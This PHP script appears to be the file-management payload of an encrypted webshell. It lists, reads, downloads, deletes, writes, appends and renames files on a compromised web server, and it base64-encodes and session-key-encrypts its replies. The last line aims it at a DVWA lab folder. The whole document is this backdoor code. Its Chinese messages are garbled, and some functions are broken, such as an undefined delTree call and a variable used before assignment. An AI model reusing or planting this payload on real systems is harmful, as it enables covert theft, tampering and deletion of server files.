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| error_reporting(0);
header('Content-Type: text/html; charset=UTF-8');
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function getgbkStr($str){
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
$s1 = iconv('utf-8','gbk//IGNORE',$str);
if($s1 == $str){
return $s1;
}else{
return iconv('utf-8','gbk//IGNORE',$str);
}
}
function delDir($dir)
{
$files = array_diff(scandir($dir), array(
'.',
'..'
));
foreach ($files as $file) {
(is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
}
return rmdir($dir);
}
function main($mode, $path = ".", $content = "", $charset = "",$newpath="")
{
$path=getSafeStr($path);
$result = array();
if ($path == ".")
$path = getcwd();
switch ($mode) {
case "list":
$allFiles = scandir($path);
$objArr = array();
foreach ($allFiles as $fileName) {
$fullPath = $path . $fileName;
if (!function_exists("mb_convert_encoding"))
{
$fileName=getSafeStr($fileName);
}
else
{
$fileName=mb_convert_encoding($fileName, 'UTF-8', mb_detect_encoding($fileName, "UTF-8,GBK"));
}
$obj = array(
"name" => base64_encode($fileName),
"size" => base64_encode(filesize($fullPath)),
"lastModified" => base64_encode(date("Y-m-d H:i:s", filemtime($fullPath)))
);
$obj["perm"] = is_readable($fullPath) . "," . is_writable($fullPath) . "," . is_executable($fullPath);
if (is_file($fullPath)) {
$obj["type"] = base64_encode("file");
} else {
$obj["type"] = base64_encode("directory");
}
array_push($objArr, $obj);
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(json_encode($objArr));
echo encrypt(json_encode($result), $_SESSION['k']);
break;
case "show":
$contents = file_get_contents($path);
$result["status"] = base64_encode("success");
if (function_exists("mb_convert_encoding"))
{
if ($charset=="")
{
$charset = mb_detect_encoding($contents, array(
'GB2312',
'GBK',
'UTF-16',
'UCS-2',
'UTF-8',
'BIG5',
'ASCII'
));
}
$result["msg"] = base64_encode(mb_convert_encoding($contents, "UTF-8", $charset));
}
else
{
if ($charset=="")
{
$result["msg"] = base64_encode(getSafeStr($contents));
}
else
{
$result["msg"] = base64_encode(iconv($charset, 'utf-8//IGNORE', $contents));
}
}
$result = encrypt(json_encode($result),$_SESSION['k']);
echo $result;
break;
case "download":
if (! file_exists($path)) {
header('HTTP/1.1 404 NOT FOUND');
} else {
$file = fopen($path, "rb");
echo fread($file, filesize($path));
fclose($file);
}
break;
case "delete":
if (is_file($path)) {
if (unlink($path)) {
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($path . "删除成功");
} else {
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode($path . "删除失败");
}
}
if (is_dir($path)) {
delDir($path);
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($path."删除成功");
}
echo encrypt(json_encode($result),$_SESSION['k']);
break;
case "create":
$file = fopen($path, "w");
$content = base64_decode($content);
fwrite($file, $content);
fflush($file);
fclose($file);
if (file_exists($path) && filesize($path) == strlen($content)) {
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($path . "上传完成，远程文件大尿:" . $path . filesize($path));
} else {
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode($path . "上传失败");
}
echo encrypt(json_encode($result), $_SESSION['k']);
break;
case "createDirectory":
if (file_exists($path)) {
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("创建失败，目录已存在〿");
}
else
{
mkdir($path);
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode("目录创建成功〿");
}
echo encrypt(json_encode($result), $_SESSION['k']);
break;
case "append":
$file = fopen($path, "a+");
$content = base64_decode($content);
fwrite($file, $content);
fclose($file);
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($path . "追加完成，远程文件大尿:" . $path . filesize($path));
echo encrypt(json_encode($result),$_SESSION['k']);
break;
case "rename":
if (rename($path,$newpath)) {
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode("重命名完房:" . $newpath);
} else {
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode($path . "重命名失贿");
}
echo encrypt(json_encode($result), $_SESSION['k']);
break;
default:
break;
}
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$mode="list";$path="C:/phpstudy_pro/WWW/DVWA/hackable/";
main($mode,$path);
|
